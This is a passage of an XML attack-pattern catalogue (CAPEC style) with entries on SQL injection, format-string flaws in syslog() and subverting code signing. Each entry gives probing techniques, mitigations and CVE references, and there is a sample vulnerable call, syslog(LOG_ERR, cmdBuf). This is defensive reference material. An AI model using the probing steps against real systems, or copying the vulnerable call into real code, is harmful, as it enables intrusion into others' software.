							<Text>CVE-2006-5525</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>It is fairly simple for someone with basic SQL knowledge to perform
							SQL injection, in general. In certain instances, however, specific
							knowledge of the database employed may be required.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>None</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker tries to inject characters that can cause a SQL error,
							such as single-quote (') or keywords such as "UNION" and "OR". If the
							injection of such characters into the input causes a SQL error and the
							resulting error is displayed unfiltered, the attacker can begin to
							determine the nature of input validation and structure of SQL queries. A
							typical error resulting from such injection would look like:</Text>
						<Block>
							<Code>"You have an error in your SQL Syntax. Check your manual for the
								right syntax to use near</Code>
							<Code>') FROM db_users.user_table"</Code>
						</Block>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>With available design documentation and code, the attacker can
							determine whether all user-controllable inputs are being validated or
							not, and also the structure of SQL queries that such inputs feed
							into.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Too many false or invalid queries to the database, especially those
							caused by malformed input.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Strong input validation - All user-controllable input must be validated
						and filtered for illegal characters as well as SQL content. Keywords such as
						UNION, SELECT or INSERT must be filtered in addition to characters such as a
						single-quote(') or SQL-comments (--) based on the context in which they
						appear.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use of parameterized queries or stored procedures - Parameterization
						causes the input to be restricted to certain domains, such as strings or
						integers, and any input outside such domains is considered invalid and the
						query fails. Note that SQL Injection is possible even in the presence of
						stored procedures if the eventual query is constructed dynamically.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use of custom error pages - Attackers can glean information about the
						nature of queries from descriptive error messages. Input validation must be
						coupled with customized error pages that inform about an error without
						disclosing information about the database or application.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input used as part of non-parameterized SQL queries: This
					may include input fields on web forms, data in user-accessible files or even
					command-line parameters.</Text>
			</Injection_Vector>
			<Payload>
				<Text>SQL statements intended to reveal information or run malicious code</Text>
			</Payload>
			<Activation_Zone>
				<Text>Back-end database</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>When malicious SQL content is executed by the database, it can lead to
						arbitrary queries being executed, causing disclosure of information,
						unauthorized access, privilege escalation and possibly system
						compromise.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>89<!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>390<!--Detection of Error Condition Without Action--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>713<!--OWASP Top Ten 2007 Category A2 - Injection Flaws--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>707<!--Improper Enforcement of Message or Data Structure--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>352<!--WASC Threat Classification 2.0 - WASC-19 - SQL Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Special characters in user-controllable input must be escaped before use
						by the application.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Only use parameterized stored procedures to query the database.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Input data must be revalidated in the parameterized stored
						procedures.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Custom error pages must be used to handle exceptions such that they do not
						reveal any information about the architecture of the application or the
						database.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Input as Part of a Directive to any Internal Component</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Handle All Errors Safely</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>CWE - SQL Injection</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Improper Error Handling</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Chiradeep B Chhaya</Submitter>
						<Submission_Date>2007-01-12</Submission_Date>
						<Submission_Comment>Second Draft</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Malik Hamro</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-27</Modification_Date>
						<Modification_Comment>Reformat to new schema and
							review</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Description
							and Related Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="67" Name="String Format Overflow in syslog()"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack targets the format string vulnerabilities in the syslog()
						function. An attacker would typically inject malicious input in the format
						string parameter of the syslog function. This is a common problem, and many
						public vulnerabilities and associated exploits have been posted.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker finds that he can inject data to the
												format string parameter of Syslog().</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker craft a malicious input and inject it
												into the format string parameter. From now on, the
												attacker can exeute arbitrary code and do more
												damage.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The format string argument of the Syslog function can be tainted with user
						supplid data.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Format string vulnerability in TraceEvent function for ntop before 2.1
							allows remote attackers to execute arbitrary code by causing format
							strings to be injected into calls to the syslog function, via (1) an
							HTTP GET request, (2) a user name in HTTP authentication, or (3) a
							password in HTTP authentication.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2002-0412</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>If the source code of the application is available, an attacker can
							use static analysis tools to spot a syslog vulnerability (a simple grep
							may also work).</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>If the source code is not available, automated tools such as Fuzzer
							and advanced Web Scanner can be used. If the tool supplied data reaches
							the syslog's format string argument, the application under scrutiny may
							have unexpected behavior.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>If the source code is not available, a more complexe technique involve
							the use of library and system call tracer combined with the use of
							binary auditing tool such as IDA Pro. Reverse Engineering technique can
							be used to find format string vulnerability in the syslog function call.
							For instance it is possible to get the address of the buffer that is
							later used as the format string when reading data</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>The code should be reviewed for misuse of the Syslog function call. Manual
						or automated code review can be used. The reviewer needs to ensure that all
						format string functions are passed a static string which cannot be
						controlled by the user and that the proper number of arguments are always
						sent to that function as well. If at all possible, do not use the %n
						operator in format strings. The following code shows a correct usage of
						Syslog():</Text>
					<Block>
						<Code>...</Code>
						<Code>syslog(LOG_ERR, "%s", cmdBuf);</Code>
						<Code>...</Code>
					</Block>
					<Text>The following code shows a vulnerable usage of Syslog():</Text>
					<Block>
						<Code>...</Code>
						<Code>syslog(LOG_ERR, cmdBuf); // the buffer cmdBuff is taking user supplied
							data.</Code>
						<Code>...</Code>
					</Block>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Untrusted user supplied data is the injection vector.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The maliciously crafted data can read from the stack if passed to the Syslog
					function as a format String.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The signature of the syslog function is as following : "void syslog(int
					priority, const char *format, ...);"</Text>
				<Text>A vulnerable usage would be : "syslog(LOG_ERR, cmdBuf);" where cmdBuf is a
					user controlled data which leads to a format string vulnerability. The
					activation zone is the format String argument which accepts user supplied
					data.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The impacts of this attack can be execution of arbitrary code. Execution
						of arbitary code can lead to many problems such as corruption of data,
						unauthorized access, etc.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>134<!--Uncontrolled Format String--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2002-0573</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>format string in bad call to syslog function</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2001-0717</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>format string in bad call to syslog function</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2002-0412</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>format string in bad call to syslog function</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>339<!--WASC Threat Classification 2.0 - WASC-06 - Format String--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Choose a language which is not subject to this flaw.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Do not use the Syslog() in your implementation.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Use manual or automated code review to spot potential format string
						vulnerability in functions such as Syslog(), Vsyslog(), snprintf(),
						etc.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Verify that input is of a limited size.</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>If the message is coming from an outside source, check for %s type
						parameters and ensure that bounds will not be overwritten.</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Don't use text from an outside source as a format string.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
					<Language>C</Language>
					<Language>C++</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Exploiting Format String Vulnerabilities, scut / team teso,
							http://doc.bughunter.net/format-string/exploit-fs.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Halvar Flake, "Auditing binaries for security vulnerabilities",
							http://www.blackhat.com/presentations/bh-europe-00/HalvarFlake/HalvarFlake.ppt</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Fortify Taxonomy of Vulnerabilities :
							http://vulncat.fortifysoftware.com/1/FS.html - Fortify Software
							(www.fortifysoftware.com)</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Syslog man page : http://www.rt.com/man/syslog.3.html</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="68" Name="Subvert Code-signing Facilities"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Because languages use code signing facilities to vouch for code's identity
						and to thus tie code to its assigned privileges within an environment,
						subverting this mechanism can be instrumental in an attacker escalating
						privilege.</Text>
					<Text>Any means of subverting the way that a virtual machine enforces code
						signing classifies for this style of attack. This pattern does not include
						circumstances through which a signing key has been stolen.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>A framework-based language that supports code signing (such as, and most
						commonly, Java or .NET)</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Deployed code that has been signed by its authoring vendor, or a
						partner.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker will, for most circumstances, also need to be able to place
						code in the victim container. This does not necessarily mean that they will
						have to subvert host-level security, except when explicitly
						indicated.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>In old versions (prior to 3.0b4) of the Netscape web browser Attackers
							able to foist a malicious Applet into a client's browser could execute
							the "Magic Coat" attack. In this attack, the offending Applet would
							implement its own getSigners() method. This implementation would use the
							containing VM's APIs to acquire other Applet's signatures (by calling
							_their_ getSigners() method) and if any running Applet had
							privileged-enough signature, the malicious Applet would have inherited
							that privilege just be (metaphorically) donning the others'
							coats.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Some (older) web browsers allowed scripting languages, such as
							Javascript, to call signed Java code. In these circumstances, the
							browser's VM implimentation would choose not to conduct stack inspection
							across language boundaries (from called signed Java to calling
							Javascript) and would short-circuit "true" at the language boundary.
							Doing so meant that the VM would allow any (unprivileged) script to call
							privileged funcitons within signed code with impunity, causing them to
							fall prey to luring attacks.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The ability to load unsigned code into the kernel of earlier versions
							of Vista and bypass integrity checking is an example of such subversion.
							In the proof-of-concept, it is possible to bypass the signature-checking
							mechanism Vista uses to load device drivers.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Subverting code signing is not a trivial activity. Most code signing
							and verification schemes are based on use of cryptography and the
							attacker needs to have an understand of these cryptographic operations
							in good detail. Additionally the attacker also needs to be aware of the
							way memory is assigned and accessed by the container since, often, the
							only way to subvert code signing would be to patch the code in
							memory.</Text>
						<Text>Finally, a knowledge of the platform specific mechanisms of signing
							and verifying code is a must.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The Attacker needs no special resources beyond the listed pre-requisities in
					order to conduct this style of attack.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Understanding, and possibly exploiting, the effect of certain flags or
							environment variables on code signing.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Introducing unmanaged code into a container-managed environment</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>A given code signing scheme may be fallible due to improper use of
						cryptography. Developers must never roll out their own cryptography, nor
						should existing primitives be modified or ignored.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>If an attacker cannot attack the scheme directly, he might try to alter
						the environment that affects the signing and verification processes. A
						possible mitigation is to avoid reliance on flags or environment variables
						that are user-controllable.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>325<!--Missing Required Cryptographic Step--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>328<!--Reversible One-Way Hash--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-5201</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Multiple packages on Sun Solaris, including (1) NSS; (2) Java JDK and
							JRE 5.0 Update 8 and earlier, SDK and JRE 1.4.x up to 1.4.2_12, and SDK
							and JRE 1.3.x up to 1.3.1_19; (3) JSSE 1.0.3_03 and earlier; (4)
							IPSec/IKE; (5) Secure Global Desktop; and (6) StarOffice, when using an
							RSA key with exponent 3, removes PKCS-1 padding before generating a
							hash, which allows remote attackers to forge a PKCS #1 v1.5 signature
							that is signed by that RSA key and prevents these products from
							correctly verifying X.509 and other certificates that use PKCS
							#1.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2006-4790</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>verify.c in GnuTLS before 1.4.4, when using an RSA key with exponent
							3, does not properly handle excess data in the
							digestAlgorithm.parameters field when generating a hash, which allows
							remote attackers to forge a PKCS #1 v1.5 signature that is signed by
							that RSA key and prevents GnuTLS from correctly verifying X.509 and
							other certificates that use PKCS, a variant of CVE-2006-4339.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>232<!--Exploitation of Privilege/Trust--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Well-Known Cryptography Appropriately and Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
